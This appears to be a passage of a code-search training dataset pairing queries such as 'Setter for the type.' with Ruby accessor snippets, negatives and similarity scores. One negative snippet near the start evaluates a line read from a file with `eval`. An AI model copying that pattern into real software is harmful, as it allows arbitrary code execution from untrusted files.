"def read_data(file_name)\n file = File.open(file_name,\"r\")\n object = eval(file.gets.untaint.encode('UTF-8', :invalid => :replace, :replace => '').gsub('\\n', \"\"))\n file.close()\n return object\nend",
"def parse(string_or_io, options = T.unsafe(nil)); end",
"def parse(string_or_io, options = T.unsafe(nil)); end",
"def from_string_internal(str)\n ole_connector.ValueFromStringInternal(str)\n end",
"def parse(str)\n raise MissingNamesError if @names.nil?\n\n super(str)\n end",
"def from_string(string)\n string.split(/\\n/).map do |line|\n Opportunity.new(*line.split(',').map(&:strip))\n end\n end",
"def load(string, options={})\n ::Oj.load(string, options)\n end"
] | [
"0.733062",
"0.7276423",
"0.6999158",
"0.6998165",
"0.6862692",
"0.6833966",
"0.67425317",
"0.6715686",
"0.66853476",
"0.6669805",
"0.6655863",
"0.6635725",
"0.66091716",
"0.6595902",
"0.6558109",
"0.6525967",
"0.6465454",
"0.64432836",
"0.6416698",
"0.6410884",
"0.64056945",
"0.6397654",
"0.6328388",
"0.63219935",
"0.63217294",
"0.6320385",
"0.63065803",
"0.624836",
"0.62426186",
"0.6231247",
"0.622538",
"0.6224529",
"0.62159175",
"0.62139577",
"0.6213839",
"0.6206974",
"0.61873865",
"0.61873865",
"0.61873865",
"0.61873865",
"0.6169949",
"0.6115397",
"0.6114633",
"0.6102724",
"0.6072272",
"0.6066106",
"0.6058879",
"0.6052454",
"0.6052454",
"0.6048859",
"0.6043856",
"0.60351545",
"0.6033717",
"0.6027836",
"0.59908587",
"0.5980118",
"0.5979152",
"0.59681547",
"0.5960963",
"0.59603506",
"0.5960055",
"0.5957988",
"0.595793",
"0.5946759",
"0.5945974",
"0.59267765",
"0.59267765",
"0.59267765",
"0.5924593",
"0.59218407",
"0.59208757",
"0.5902651",
"0.5887046",
"0.5887046",
"0.5880429",
"0.58585894",
"0.58585507",
"0.5836566",
"0.5827134",
"0.58225423",
"0.58090097",
"0.58037305",
"0.580053",
"0.5796734",
"0.5792658",
"0.578908",
"0.577155",
"0.5769273",
"0.57634914",
"0.57463884",
"0.57450324",
"0.57450324",
"0.5739095",
"0.57390565",
"0.5730698",
"0.5730698",
"0.57254153",
"0.57221866",
"0.5708752",
"0.5697465"
] | 0.6543808 | 15 |
Setter for the type. | def icmp_type=(i); typecast i; end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_type(val)\n self.type = val\n self\n end",
"def type=(value)\n @type = value\n end",
"def type=(value)\n @type = value\n end",
"def type=(value)\n @type = value\n end",
"def type=(value)\n @type = value\n end",
"def type=(value)\n @type = value\n end",
"def type=(value)\n @type = value\n end",
"def type=(value)\n @type = value\n end",
"def set_type(v)\n self.type = v\n self\n end",
"def set_type\n end",
"def type=(type)\n write_attr :type, type\n end",
"def type=(type)\n @type = type\n end",
"def type=(type)\n @type = type\n end",
"def type=(type)\n @type = type\n end",
"def type=(type)\n validate_type_values(type)\n @type = type\n end",
"def type=(type)\n @@type = type\n end",
"def type=(type)\n self['type'] = type\n end",
"def type(val); @type = val; self; end",
"def type=(type)\n Munson.register_type(type, self)\n munson.type = type\n end",
"def type=(value)\n @type = value.to_sym\n end",
"def class_type=(value)\n\t\tself[:type] = value\n\tend",
"def type=(type); end",
"def type=(new_type)\n @type = new_type.to_sym\n end",
"def type=(type)\n @type = type.to_sym\n end",
"def type=(type)\n if type && !VALID_TYPES.include?(type.to_sym)\n raise ArgumentError, \"Invalid Type (#{type}), use: #{VALID_TYPES*' '}\"\n end\n write_attr :type, type\n end",
"def type=(type)\n if type && !VALID_TYPES.include?(type.to_sym)\n raise ArgumentError, \"Invalid Type (#{type}), use: #{VALID_TYPES*' '}\"\n end\n write_attr :type, type\n end",
"def type_setter\n @type_setter ||= type.__setter__\n end",
"def type=(val)\n @type = val.to_sym\n end",
"def type=(type)\n @type = type\n\n setOption('type', @type)\n end",
"def type=(type)\n if type.nil?\n fail ArgumentError, 'invalid value for \"type\", type cannot be nil.'\n end\n @type = type\n end",
"def type=(type)\n if type.nil?\n fail ArgumentError, 'invalid value for \"type\", type cannot be nil.'\n end\n @type = type\n end",
"def type=(type)\n if type.nil?\n fail ArgumentError, 'invalid value for \"type\", type cannot be nil.'\n end\n @type = type\n end",
"def set_Type(value)\n set_input(\"Type\", value)\n end",
"def set_Type(value)\n set_input(\"Type\", value)\n end",
"def record_type(t)\n @type = t\n end",
"def type=(type)\n type = type.intern\n super type\n end",
"def set_Type(value)\n set_input(\"Type\", value)\n end",
"def set_Type(value)\n set_input(\"Type\", value)\n end",
"def type=(new_type)\n self[:type_flags] = (flags | TYPES[new_type])\n end",
"def type value\n @settings[:type] = value\n return self\n end",
"def type= new_type\n frozen_check!\n @gapi.type = new_type\n end",
"def type= new_type\n frozen_check!\n @gapi.type = new_type\n end",
"def of_type(type)\n options[:type] = type\n self\n end",
"def type=(type)\n raise ArgumentError, \"Invalid Type (#{type}), use: #{VALID_TYPES*' '}\" if type && !VALID_TYPES.include?(type.to_sym)\n super\n end",
"def type=(type)\n raise ArgumentError, \"Invalid Type (#{type}), use: #{VALID_TYPES*' '}\" if type && !VALID_TYPES.include?(type.to_sym)\n super\n end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', ['Shape', 'Chart', 'Table', 'PictureFrame', 'VideoFrame', 'AudioFrame', 'SmartArt', 'OleObjectFrame', 'GroupShape', 'GraphicalObject', 'Connector', 'SmartArtShape', 'ZoomFrame', 'SectionZoomFrame', 'SummaryZoomFrame', 'SummaryZoomSection'])\n unless validator.valid?(type)\n fail ArgumentError, 'invalid value for \"type\", must be one of #{validator.allowable_values}.'\n end\n @type = type\n end",
"def type(value_=nil)\n if value_\n @type = value_\n else\n @type\n end\n end",
"def set_type(name)\n @type = name\n ProcessRecord::TYPE_TABLE[name] = self\n end",
"def type_name=(val)\n self['type_name'] = val\n end",
"def type= new_type\n @gapi.update! type: verify_type(new_type)\n end",
"def type=(type)\n allowed_values = [\"STRING\", \"BOOLEAN\", \"DECIMAL\", \"INTEGER\", \"DATE_TIME\", \"REFERENCE\", \"COMPLEX\"]\n if type && !allowed_values.include?(type)\n fail ArgumentError, \"invalid value for 'type', must be one of #{allowed_values}.\"\n end\n @type = type\n end",
"def type=(type)\n if type && !VALID_TYPES.include?(type.to_sym)\n raise ArgumentError, \"Invalid Type (#{type}), use: #{VALID_TYPES*' '}\"\n end\n super\n end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', ['Title', 'Body', 'CenteredTitle', 'Subtitle', 'DateAndTime', 'SlideNumber', 'Footer', 'Header', 'Object', 'Chart', 'Table', 'ClipArt', 'Diagram', 'Media', 'SlideImage', 'Picture'])\n unless validator.valid?(type)\n fail ArgumentError, 'invalid value for \"type\", must be one of #{validator.allowable_values}.'\n end\n @type = type\n end",
"def value_type=(value)\n @value_type = value\n end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', ['String', 'Number', 'Date'])\n unless validator.valid?(type)\n fail ArgumentError, 'invalid value for \"type\", must be one of #{validator.allowable_values}.'\n end\n @type = type\n end",
"def set_instance_type( type )\n raise \"type must be type #{type}\" unless type.is_a?(Type)\n self.instance_type = type\n end",
"def set_instance_type( type )\n raise \"type must be type #{type}\" unless type.is_a?(Type)\n self.instance_type = type\n end",
"def type=(v)\n RestrictionValidator.validate :storage_type, TYPES.values, v\n @type = v\n end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', ['string', 'number', 'boolean', 'date', 'address', 'country', 'email', 'url', 'image', 'signature', 'barcode', 'combined'])\n unless validator.valid?(type)\n fail ArgumentError, 'invalid value for \"type\", must be one of #{validator.allowable_values}.'\n end\n @type = type\n end",
"def data_type=(value)\n @data_type = value\n end",
"def _type\n special_attribute('@type'.freeze)\n end",
"def type(type)\n opts[:type] = type\n end",
"def set_type\n @type = Type.find(params[:id])\n end",
"def set_type\n @type = Type.find(params[:id])\n end",
"def set_type\n @type = Type.find(params[:id])\n end",
"def type=(type)\n @type = type\n @signed = type.name.split('::').last[0] != \"U\"\n type\n end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', [\"random\", \"hash\", \"client\"])\n unless validator.valid?(type)\n fail ArgumentError, \"invalid value for \\\"type\\\", must be one of #{validator.allowable_values}.\"\n end\n @type = type\n end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', ['Once', 'Hourly', 'Daily', 'Weekly', 'Monthly', 'Yearly'])\n unless validator.valid?(type)\n fail ArgumentError, 'invalid value for \"type\", must be one of #{validator.allowable_values}.'\n end\n @type = type\n end",
"def bar_type=(s)\n self[:type] = s\n end",
"def type=(val)\n @type = val.to_sym if %w(UNSPECIFIED MEDIA MASTER).include? val.to_s\n end",
"def type= (type)\n self.tweet_type = type\n end",
"def type=(value)\n @type = value\n self << \"#{self.var}.setMapType(#{value.to_map_type});\"\n end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', ['digital', 'physical'])\n unless validator.valid?(type)\n fail ArgumentError, 'invalid value for \"type\", must be one of #{validator.allowable_values}.'\n end\n @type = type\n end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', [\"Agreement\", \"CreditMemo\", \"DownPayment\", \"Miscellaneous\", \"Progress\", \"Standard\"])\n unless validator.valid?(type)\n fail ArgumentError, \"invalid value for 'type', must be one of #{validator.allowable_values}.\"\n end\n @type = type\n end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', [\"NFS\", \"SMB\", \"iSCSI\"])\n unless validator.valid?(type)\n fail ArgumentError, \"invalid value for \\\"type\\\", must be one of #{validator.allowable_values}.\"\n end\n @type = type\n end",
"def set_type\n @type = Type.find(params[:id])\n\n end",
"def device_type=(s)\n self[:type] = s\n end",
"def type=(type)\n if !type.nil? && type.to_s.length > 100\n fail ArgumentError, 'invalid value for \"type\", the character length must be smaller than or equal to 100.'\n end\n @type = type\n end",
"def set_instance_type( type )\n self.instance_type = type\n end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', [\"ITEM\", \"CATEGORY\", \"ITEM_VARIATION\", \"TAX\", \"DISCOUNT\", \"MODIFIER_LIST\", \"MODIFIER\"])\n unless validator.valid?(type)\n fail ArgumentError, \"invalid value for 'type', must be one of #{validator.allowable_values}.\"\n end\n @type = type\n end",
"def set_type(qualified_name, type)\n @types[qualified_name] = type\n end",
"def type=(sObjType)\n return self if self.empty?\n @data[:object_type] = sObjType\n self\n end",
"def assign_type(content_type)\n self.type = self.class.class_type_from(content_type)\n end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', [\"\", \"APIC\", \"DCNM\", \"UCSFI\", \"UCSFIISM\", \"IMC\", \"IMCM4\", \"IMCM5\", \"IMCRack\", \"UCSIOM\", \"HX\", \"HyperFlexAP\", \"IWE\", \"UCSD\", \"IntersightAppliance\", \"IntersightAssist\", \"PureStorageFlashArray\", \"UCSC890\", \"NetAppOntap\", \"NetAppActiveIqUnifiedManager\", \"EmcScaleIo\", \"EmcVmax\", \"EmcVplex\", \"EmcXtremIo\", \"VmwareVcenter\", \"MicrosoftHyperV\", \"AppDynamics\", \"Dynatrace\", \"NewRelic\", \"ServiceNow\", \"ReadHatOpenStack\", \"CloudFoundry\", \"MicrosoftAzureApplicationInsights\", \"OpenStack\", \"MicrosoftSqlServer\", \"Kubernetes\", \"AmazonWebService\", \"AmazonWebServiceBilling\", \"MicrosoftAzureServicePrincipal\", \"MicrosoftAzureEnterpriseAgreement\", \"DellCompellent\", \"HPE3Par\", \"RedHatEnterpriseVirtualization\", \"NutanixAcropolis\", \"HPEOneView\", \"ServiceEngine\", \"HitachiVirtualStoragePlatform\", \"IMCBlade\", \"TerraformCloud\", \"TerraformAgent\", \"CustomTarget\", \"AnsibleEndpoint\", \"HTTPEndpoint\", \"SSHEndpoint\", \"CiscoCatalyst\"])\n unless validator.valid?(type)\n fail ArgumentError, \"invalid value for \\\"type\\\", must be one of #{validator.allowable_values}.\"\n end\n @type = type\n end",
"def type=(_); end",
"def type=(_); end",
"def type=(_); end",
"def type=(_); end",
"def type=(_); end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', [\"PricingComponent\", \"Coupon\", \"Migration\", \"AggregatedInvoice\"])\n unless validator.valid?(type)\n fail ArgumentError, \"invalid value for 'type', must be one of #{validator.allowable_values}.\"\n end\n @type = type\n end",
"def set_type\n raise Error::NotFoundError unless (@type = Type.find(params[:id]))\n end",
"def target_type=(value)\n @target_type = value\n end",
"def _type=(_)\n end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', ['active', 'notActive', 'unknown'])\n unless validator.valid?(type)\n fail ArgumentError, %Q'invalid value for \"type\", must be one of #{validator.allowable_values}.'\n end\n @type = type\n end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', [\"Weekly\", \"BiWeekly\", \"SemiMonthly\", \"Monthly\"])\n unless validator.valid?(type)\n fail ArgumentError, \"invalid value for 'type', must be one of #{validator.allowable_values}.\"\n end\n @type = type\n end",
"def type=(val)\n if (val.kind_of?(Integer))\n @type = val & 0xff\n elsif(val.kind_of?(String))\n raise ArgumentError, \"Value should be 1-byte, but was #{val.length}.\" if (val.length != 1) \n @type = val.unpack('C')[0]\n else\n raise ArgumentError, \"Expected String or Integer, but #{val.class} provided.\" \n end\n end",
"def mutate!(type)\n set_type(type)\n end",
"def value_type= value_type\n self.type = value_type.gsub(\"-\", \"_\").camelize\n end",
"def set_typecode(v)\n @typecode = v\n end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', [\"PHYSICAL\", \"MOBILE\"])\n unless validator.valid?(type)\n fail ArgumentError, \"invalid value for 'type', must be one of #{validator.allowable_values}.\"\n end\n @type = type\n end",
"def entity_type=(value)\n @entity_type = value\n end"
] | [
"0.8813267",
"0.87673706",
"0.87673706",
"0.87673706",
"0.87673706",
"0.87673706",
"0.87673706",
"0.87673706",
"0.87163293",
"0.8581177",
"0.854442",
"0.84909844",
"0.84852207",
"0.8454122",
"0.840839",
"0.8374968",
"0.8364594",
"0.8307618",
"0.8281238",
"0.8259468",
"0.82279176",
"0.8215265",
"0.81821245",
"0.8161082",
"0.81514204",
"0.81464404",
"0.8144354",
"0.81407446",
"0.8119549",
"0.80605394",
"0.80605394",
"0.80605394",
"0.8007606",
"0.8007606",
"0.7956196",
"0.793657",
"0.7895415",
"0.7895415",
"0.78073347",
"0.7758909",
"0.7750212",
"0.7750212",
"0.77124316",
"0.7638344",
"0.7638344",
"0.76184624",
"0.7617238",
"0.75896114",
"0.75888795",
"0.75865173",
"0.7572342",
"0.75360084",
"0.7528951",
"0.7524774",
"0.7486063",
"0.746478",
"0.746478",
"0.7454639",
"0.7451397",
"0.74324244",
"0.7419613",
"0.7388941",
"0.73713946",
"0.73713946",
"0.73713946",
"0.73669356",
"0.7352967",
"0.7331087",
"0.7321643",
"0.7286195",
"0.72773767",
"0.7259759",
"0.7250266",
"0.72424334",
"0.7228716",
"0.72281164",
"0.72079",
"0.7178338",
"0.71745676",
"0.7144861",
"0.71434695",
"0.7132874",
"0.7132832",
"0.712826",
"0.71090126",
"0.71090126",
"0.71090126",
"0.71090126",
"0.71090126",
"0.7099039",
"0.70864284",
"0.70818734",
"0.7078822",
"0.7078579",
"0.70749104",
"0.7071297",
"0.7070439",
"0.70629686",
"0.7059596",
"0.70529664",
"0.70482963"
] | 0.0 | -1 |
Getter for the type. | def icmp_type; self[:icmp_type].to_i; end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def type\n @type.name\n end",
"def type\n return @type\n end",
"def type\n return @type\n end",
"def type\n return @type\n end",
"def type\n return @type\n end",
"def type\n return @type\n end",
"def type\n return @type\n end",
"def type\n return @type\n end",
"def type\n return @type\n end",
"def type\n self[:type]\n end",
"def type\n @type\n end",
"def type\n @type\n end",
"def type\n @type\n end",
"def type\n @type\n end",
"def get_type\n\n end",
"def type\n @type\n end",
"def type\n self.class.type\n end",
"def type\n self.class.type\n end",
"def type\n self.class.type\n end",
"def type\n self[:type]\n end",
"def type\n self.class.type\n end",
"def type\n self.class.type\n end",
"def type\n self.class.type\n end",
"def type\n read_attr :type, :to_sym\n end",
"def type\n TYPES[@type_id]\n end",
"def type\n @type.to_s\n end",
"def type\n @type\n end",
"def type\n self['type']\n end",
"def type\n return @type if @type != \"unknown\"\n info\n @type\n end",
"def type\n\t\tself.class.type\n\tend",
"def type\n\t\tself.class.type\n\tend",
"def type\n self.attributes[:type]\n end",
"def type\n self.class::TYPE\n end",
"def type\n @@type\n end",
"def type\n @@type\n end",
"def _type\n self.class.to_s\n end",
"def type\n self.class.type\n end",
"def type\n self.class.type\n end",
"def type\n self.class.type\n end",
"def type\n self['type']['type']\n end",
"def type\n _type\n end",
"def type\n field[:type]\n end",
"def type\n @type ||= calculate_type\n end",
"def type_name\n self['type_name']\n end",
"def type\n _type rescue nil\n end",
"def type\n types.first\n end",
"def type\n self.class.type_to_string(self)\n end",
"def type\n self.class.type(self)\n end",
"def type\n types.first\n end",
"def type\n\t\t@type\n\tend",
"def type\n @attributes[:type]\n end",
"def type\n @attributes[:type]\n end",
"def type\n @attributes[:type]\n end",
"def type; self._type; end",
"def type\n @props[:type]\n end",
"def type\n attr_val('./@typeCode')\n end",
"def name\n @type_name\n end",
"def type\n @attributes.fetch('type', nil)\n end",
"def type\n @attributes[:type]\n end",
"def type\n munson.type\n end",
"def _type\n special_attribute('@type'.freeze)\n end",
"def type\n memoized_info[:type]\n end",
"def type\n\t\t\t@data[\"type\"]\n\t\tend",
"def type\n @data['type']\n end",
"def type\n @data['type']\n end",
"def type\n @type ||= IDS_TYPES[type_id]\n end",
"def type\n TYPES[self[:type_flags] & 0x3]\n end",
"def type\n self.class\n end",
"def type\n end",
"def type\n object.class.name\n end",
"def type\n object.class.name\n end",
"def type\n object.class.name\n end",
"def human_type\n self[:type].to_human\n end",
"def type\n @type ||= \"#{as}_type\" if polymorphic?\n end",
"def current_type\n @type\n end",
"def type\n return @type if defined? @type\n\n @type = self.to_s.gsub(/.*::/, '')\n end",
"def type\n @json['type']\n end",
"def value_type\n @type.value_type\n end",
"def get_data_type\n get_field_config['type']\n end",
"def type\n return @type if defined? @type\n @type = self.to_s.gsub(/.*::/, '')\n end",
"def type\n self['TYPE'].to_i\n end",
"def type\n Type.new(type_param).yard_type_string\n end",
"def type\n self_class.to_s.to_sym\n end",
"def tipo\n verificar\n return @@tipo\n end",
"def type\n data.type\n end",
"def type_code\n type.try(:code)\n end",
"def type\n @types ||= strip(:type)\n end",
"def type_name\n @type_name ||= determine_type_name(descriptor)\n end",
"def type\n response[\"type\"]\n end",
"def type\n response[\"type\"]\n end",
"def type\n @gapi[\"type\"]\n end",
"def type\n @type ||= self.class.name.split('::').last\n end",
"def type\n return self.class.type # all instances of a class have the same type\n end",
"def get_type()\n # Check if a type has been specified and if not set it to :round.\n if @metadata[:type] == nil\n @metadata[:type] = :round\n end\n return @metadata[:type]\n end",
"def get_type(type)\n TYPES[type.downcase]\n end",
"def type\n data['type'].to_sym\n end",
"def type\n self.class.class_name.downcase\n end",
"def get_type()\n res = super(context,self)\n return res\n end",
"def type\n declaration.type if declaration.respond_to? :type\n end",
"def type\n raw_data['type']\n end",
"def get_typePont\n return @typePont\n end"
] | [
"0.8506456",
"0.8453542",
"0.84147185",
"0.84147185",
"0.84147185",
"0.84147185",
"0.84147185",
"0.84147185",
"0.84147185",
"0.8369178",
"0.83482087",
"0.83477694",
"0.83477694",
"0.83477694",
"0.8332029",
"0.82924724",
"0.8245675",
"0.8245675",
"0.8245675",
"0.8229712",
"0.82281953",
"0.82281953",
"0.82281953",
"0.8211822",
"0.820347",
"0.8202372",
"0.8166895",
"0.81187224",
"0.80639195",
"0.8040355",
"0.8040355",
"0.80311275",
"0.80309695",
"0.8025532",
"0.8025532",
"0.79809546",
"0.79645646",
"0.79645646",
"0.79645646",
"0.7943732",
"0.79419774",
"0.7931159",
"0.7904875",
"0.78676736",
"0.78643346",
"0.7859884",
"0.7854298",
"0.7849506",
"0.78379625",
"0.7811622",
"0.7807457",
"0.7807457",
"0.7807457",
"0.7804834",
"0.77703804",
"0.7725574",
"0.7719835",
"0.76939464",
"0.7656076",
"0.76239985",
"0.76017076",
"0.7587199",
"0.7582343",
"0.75576526",
"0.7554405",
"0.75375396",
"0.75372696",
"0.75212246",
"0.7517819",
"0.751585",
"0.75151837",
"0.75151837",
"0.75115937",
"0.7492538",
"0.74761075",
"0.7473931",
"0.7471346",
"0.7467751",
"0.7443593",
"0.74411756",
"0.74315566",
"0.7405231",
"0.7387319",
"0.7382353",
"0.7373989",
"0.7366056",
"0.73596287",
"0.7354399",
"0.73469204",
"0.73469204",
"0.7333967",
"0.7330696",
"0.7329373",
"0.7276728",
"0.7274076",
"0.7259551",
"0.72488385",
"0.7244051",
"0.7243635",
"0.72423184",
"0.7219299"
] | 0.0 | -1 |
Setter for the code. | def icmp_code=(i); typecast i; end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def setCode(code)\n @code = code\n end",
"def code=(v)\n @code = v\n end",
"def code= new_code\n @code = new_code\n end",
"def set_Code(value)\n set_input(\"Code\", value)\n end",
"def code=(code)\n generate(code)\n end",
"def set_code(code)\n input_correct?(code)\n @Code = code\n end",
"def code(a_code)\n\t\ta_code\n\tend",
"def code\n @code\n end",
"def code= (_code)\r\n @code = _code\r\n #@code_count = Hash.new(0)\r\n count_code\r\n #puts \"Referee.code setter called\"\r\n end",
"def code\n @code\n end",
"def code\n @code\n end",
"def set_code \n puts \"\\nYou have chosen to be the new CodeBreaker!\\nNow wait for me to create a code for you to crack \"\n @code = @role.random_code\n end",
"def set_code\n @code = Code.find(params[:id])\n end",
"def set_code\n @code = Code.find(params[:id])\n end",
"def set_code\n @code = Code.find(params[:id])\n end",
"def set_code\n @code = Code.find(params[:id])\n end",
"def set_code\n @code = Code.find(params[:id])\n end",
"def set_code\n @code = Code.find(params[:id])\n end",
"def set_code\n @code = Code.find(params[:id])\n end",
"def code\n @code\n end",
"def code\n @code\n end",
"def initialize(code)\n @original_code = code\n end",
"def code=(code)\n raise TypeError, 'code must respond to :to_s' unless !code.nil? && code.respond_to?(:to_s)\n code = code.to_s\n raise CodeParseError unless code =~ CODE_REGEXP\n codes << code unless codes .include?(code)\n \n @code = code\n end",
"def code\n call_once\n @code\n end",
"def string=(code); end",
"def code=(code)\n if code.nil?\n fail ArgumentError, 'code cannot be nil'\n end\n\n if code.to_s.length > 128\n fail ArgumentError, 'invalid value for \"code\", the character length must be smaller than or equal to 128.'\n end\n\n if code.to_s.length < 1\n fail ArgumentError, 'invalid value for \"code\", the character length must be great than or equal to 1.'\n end\n\n @code = code\n end",
"def initialize(code)\n @code = code\n end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def initialize(code)\n @code = code\n end",
"def initialize(code)\n @code = code\n end",
"def code=(code)\n if !code.nil? && code.to_s.length > 6\n fail ArgumentError, 'invalid value for \"code\", the character length must be smaller than or equal to 6.'\n end\n\n @code = code\n end",
"def set_code_method\n @code_method = CodeMethod.find(params[:id])\n end",
"def emit_code value\n statement :code, value\n end",
"def set_code\n codemaker_rules\n code_validation\n end",
"def set_code\n service = Service.find(service_id)\n self.code = \"#{service.code}-#{Time.now.strftime('%y%m%d%H%M')}\"\n end",
"def load_code(name, code)\n instance_variable_set(\"@#{name}_code\", code)\n self\n end",
"def emit(code)\n @code << code\n end",
"def emit(code)\n @code << code\n end",
"def emit(code)\n @code << code\n end",
"def code\n @data['code']\n end",
"def code\n @data['code']\n end",
"def set_StateCode(value)\n set_input(\"StateCode\", value)\n end",
"def code\n '202'\n end",
"def pin_code_set(pin)\n self.pincode.set pin\n end",
"def set_code_line\n @code_line = CodeLine.find(params[:id])\n end",
"def code\n @data['code']\n end",
"def initialize\n @code_combination = code\n end",
"def set_code_snippet\n @code_snippet = @language.code_snippets.find(params[:id])\n end",
"def run(code)\n\t\t\[email protected](code)\n\t\tend",
"def code\n self.class.code\n end",
"def call\n eval(@code)\n end",
"def set_coding\n @coding = Coding.find(params[:id])\n end",
"def set_code\n @code = Core::ClassificationCode.find(params[:id])\n end",
"def with_code=(boolean_or_code)\n case boolean_or_code\n when TrueClass then generate_code\n when String then self[:code] = boolean_or_code\n else nil\n end\n end",
"def code\n @info.code\n end",
"def code\n @code ||= @codes.first\n end",
"def final_sip_code=(value)\n @final_sip_code = value\n end",
"def set_code_name\n @code_name = CodeName.find(params[:id])\n end",
"def generate_code\n self.code ||= self.create_code(client)\n save && code\n end",
"def mcode_set(code)\n item = read\n item['mcode'] = code\n @aws.put_item(table_name: 'zold-wallets', item: item)\n end",
"def code_point=(_); end",
"def setcode(string = nil, interp = nil, &block)\n Facter.warnonce \"The interpreter parameter to 'setcode' is deprecated and will be removed in a future version.\" if interp\n if string\n @code = string\n @interpreter = interp || INTERPRETER\n else\n unless block_given?\n raise ArgumentError, \"You must pass either code or a block\"\n end\n @code = block\n end\n end",
"def getCode()\n return @code\n end",
"def code\n body.code.intern if body.respond_to?(:code) && body.code\n end",
"def initialize\r\n @code = ''\r\n @tags = []\r\n end",
"def update_code(code, valid_source_codes)\n unless valid_source_codes.include?(@code)\n raise \"Changing the status code from :#{@code} to :#{code} is forbidden\"\n end\n @code = code\n self\n end",
"def set_RegionCode(value)\n set_input(\"RegionCode\", value)\n end",
"def set_RegionCode(value)\n set_input(\"RegionCode\", value)\n end",
"def set_RegionCode(value)\n set_input(\"RegionCode\", value)\n end",
"def code()\n return @code.clone()\n end",
"def set_codesnippet\n @codesnippet = Codesnippet.find(params[:id])\n end",
"def generate_code\n # return if not @type # ToDo: remove?\n @type.to_s + ' ' + code_name + ' = ' + value.to_s + ';'\n end",
"def codes; end",
"def codeblock\n H[:pre, attr, H[:code, value]]\n end",
"def code=(_arg0); end",
"def code=(_arg0); end",
"def set_code_file\n @code_file = CodeFile.find(params[:id])\n end",
"def set_typecode(v)\n @typecode = v\n end",
"def postal_code_set(code)\n self.postalcode.set code\n end",
"def set_example_code\n @example_code = ExampleCode.find(params[:id])\n end",
"def generate_code\n # only need to do this if code not set\n return if code\n\n ensure_unique_code\n end",
"def set_CurrencyCode(value)\n set_input(\"CurrencyCode\", value)\n end",
"def set_CurrencyCode(value)\n set_input(\"CurrencyCode\", value)\n end",
"def set_CurrencyCode(value)\n set_input(\"CurrencyCode\", value)\n end",
"def code\n @attributes[:code]\n end",
"def code\n @attributes[:code]\n end",
"def code\n @attributes[:code]\n end",
"def code\n @attributes[:code]\n end",
"def supplied_code\n @supplied_code ||= request.params['code'].gsub(/(\\D|0)/i)\n end",
"def restart_stop_code=(value)\n @restart_stop_code = value\n end",
"def write_code(code)\n @buf.set_varint(@buf_pos, @code_size, code)\n @buf_pos += @code_size\n end",
"def make_code\n self.code = UUID.new\n end",
"def code=(code)\n @code = code.map(&:to_sym)\n @ohm = Resistor::ColorCode.decode(@code)\n @tolerance = Resistor::ColorCode::TOLERANCE[@code[-1].to_sym]\n end",
"def set_code_class\n @code_class = CodeClass.find(params[:id])\n end",
"def code=(code)\n code = RandomPhrase.normalize(code)\n\n if code.present? && code_cost.present? && code_salt.present?\n self.salted_code_fingerprint = BackupCodeConfiguration.scrypt_password_digest(\n password: code,\n salt: code_salt,\n cost: code_cost,\n )\n end\n end"
] | [
"0.84881794",
"0.8434415",
"0.81894636",
"0.8054438",
"0.79977804",
"0.7796409",
"0.7385123",
"0.7343123",
"0.7272592",
"0.7245777",
"0.7245777",
"0.7220691",
"0.71597",
"0.71597",
"0.71597",
"0.71597",
"0.71597",
"0.71597",
"0.71597",
"0.7090023",
"0.7090023",
"0.7082328",
"0.7067794",
"0.7067753",
"0.7065902",
"0.7041347",
"0.695525",
"0.6928163",
"0.6928163",
"0.6928163",
"0.6928163",
"0.6928163",
"0.6928163",
"0.6928163",
"0.69074607",
"0.69074607",
"0.67584",
"0.67249525",
"0.67096174",
"0.6703246",
"0.65752244",
"0.656402",
"0.65440625",
"0.65440625",
"0.65440625",
"0.6516436",
"0.6516436",
"0.65047485",
"0.6489108",
"0.6461166",
"0.6447254",
"0.64263153",
"0.64129585",
"0.63958174",
"0.639464",
"0.63946384",
"0.638348",
"0.63672745",
"0.6352067",
"0.63493997",
"0.63387275",
"0.6323396",
"0.6307047",
"0.63008213",
"0.6297412",
"0.62968403",
"0.62897426",
"0.6275763",
"0.62700534",
"0.62681246",
"0.62447435",
"0.624321",
"0.6220884",
"0.6220884",
"0.6220884",
"0.62207323",
"0.6211487",
"0.62020886",
"0.61951977",
"0.61951303",
"0.61831707",
"0.61831707",
"0.6176069",
"0.61569583",
"0.61465037",
"0.6134892",
"0.6130946",
"0.60939294",
"0.60939294",
"0.60939294",
"0.609262",
"0.609262",
"0.609262",
"0.609262",
"0.6080556",
"0.60710746",
"0.6066309",
"0.6061687",
"0.60315275",
"0.601741",
"0.6005485"
] | 0.0 | -1 |
Getter for the code. | def icmp_code; self[:icmp_code].to_i; end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def code\n @code\n end",
"def code\n @code\n end",
"def code\n @code\n end",
"def code\n @code\n end",
"def code\n @code\n end",
"def getCode()\n return @code\n end",
"def code\n self.class.code\n end",
"def code\n @info.code\n end",
"def code\n @data['code']\n end",
"def code\n @data['code']\n end",
"def code\n @code ||= @codes.first\n end",
"def code\n @data['code']\n end",
"def code()\n return @code.clone()\n end",
"def code\r\n return @code[@index]\r\n end",
"def code\n info['Code']\n end",
"def code\n body.code.intern if body.respond_to?(:code) && body.code\n end",
"def code\n @attributes[:code]\n end",
"def code\n @attributes[:code]\n end",
"def code\n @attributes[:code]\n end",
"def code\n @attributes[:code]\n end",
